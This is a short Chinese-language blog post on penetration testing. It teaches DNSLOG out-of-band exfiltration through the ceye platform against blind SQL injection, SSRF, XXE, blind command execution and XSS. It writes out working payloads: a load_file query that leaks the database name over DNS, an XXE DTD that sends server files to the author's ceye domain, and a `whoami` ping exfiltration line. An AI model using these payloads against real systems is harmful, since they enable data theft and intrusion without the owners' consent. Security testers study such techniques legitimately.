Walks

网络安全爱好者

DNSLOG在渗透中的妙用

前言:

DNSLOG可能有些人对这个有点陌生,但这真是个十分强大的渗透技巧,这篇文章就是叙述DNSLOG在渗透中的强大之处,相信对这个了解不多的看了之后会觉得受益良多。

首先先简单的介绍一下DNSLOG,抽象的语言就不多说,用我自己的思路就是当我们拥有一个二级域名,例如bywalks.com,然后请求三级域名,例如dnstest.bywalks.com,DNS解析时,

会把访问三级域名的日记传给二级域名。

有个基于DNSLOG记录的ceye平台,感兴趣的可以去看看。

下面就是DNSLOG在各种情况下的使用


目录:

0x01:注入

0x02:SSRF

0x03:XXE

0x04:命令执行

0x05:XSS

0x06:总结




DNSLOG 注入

    当我们遇到盲注的时候,大家的常规思路是什么?无非两种,一延时,二基于内容特征。而这两种方法都是一个字符一个字符的判断,效率很低。

    但有了DNSLOG可就不一样了。当遇到盲注的时候,我们可以用这样的PAYLOAD。

load_file(concat('\\\\',(select database()),'.bywalks.ceye.io\\bywalks'))

    在这里我们需要了解load_file是可以发送DNS请求的。

    所以就等同于访问了database().bywalks.ceye.io,然后我们的ceye平台就会有记录,那么database()是不是就得到了呢?这种方法比逐字判断是要方便很多吧。

    接下来注入就是库表列了。语句自由组合。

   

     DNSLOG SSRF

    当我们遇到SSRF的时候,例如ImageUrl=XXX这种,可以吧XXX换成127.0.0.1:80,127.0.0.1:81等,看返回值的情况判断是否存在SSRF,也可以用NC -lvvp 8888监听本地8888端口,然后ImageUrl=http://Your-Ip:8888来

    观察是否存在SSRF。

    同时,我们也可以用基于DNSLOG的ceye来观察是否存在SSRF,我们可以把XXX换成bywalks.ceye.io,然后看我们的ceye平台是否有服务器的IP来判断。

    

    DNSLOG XXE

    当我们遇到XXE,如果这个XXE漏洞可以解析外部实体,那么不用说,就可以拿来读取本地服务器文件,这时,我们只需把dtd文件改成这样

<!ENTITY % all
"<!ENTITY &#x25; send SYSTEM 'http://bywalks.ceye.io/%file;'>"
>
%all;

    在我们的ceye平台就可以接收到这个读取的服务器文件了。

    当安全维护人员对服务器做了安全防护,使XXE不可以解析外部实体,但是<?xml version='1.0'?>这种任然是从前台直接传递的时候,依旧是存在SSRF漏洞。所以对XXE的安全防护是必须严格化的。

    

    DNSLOG 命令执行

    在ceye平台是有着这样一个payload:

Linux:
curl 

windows: 
ping `whoami`.ip.port.bywalks.ceye.io

    也就是当命令执行无回显的时候,我们就可以使用基于DNSLOG的ceye来获取我们想要的数据

    

    DNSLOG XSS

    Payload:

"><img src=x onerror=http://bywalks.ceye.io>

    可以用来判断是否存在XSS

    

    总结

    1:主要实用的情况,盲注提高效率

    2:主要使用的情况,在命令执行无回显,SSRF,XXE判断等通过下使用。关键在于无回显时。

点赞

发表评论

电子邮件地址不会被公开。 必填项已用*标注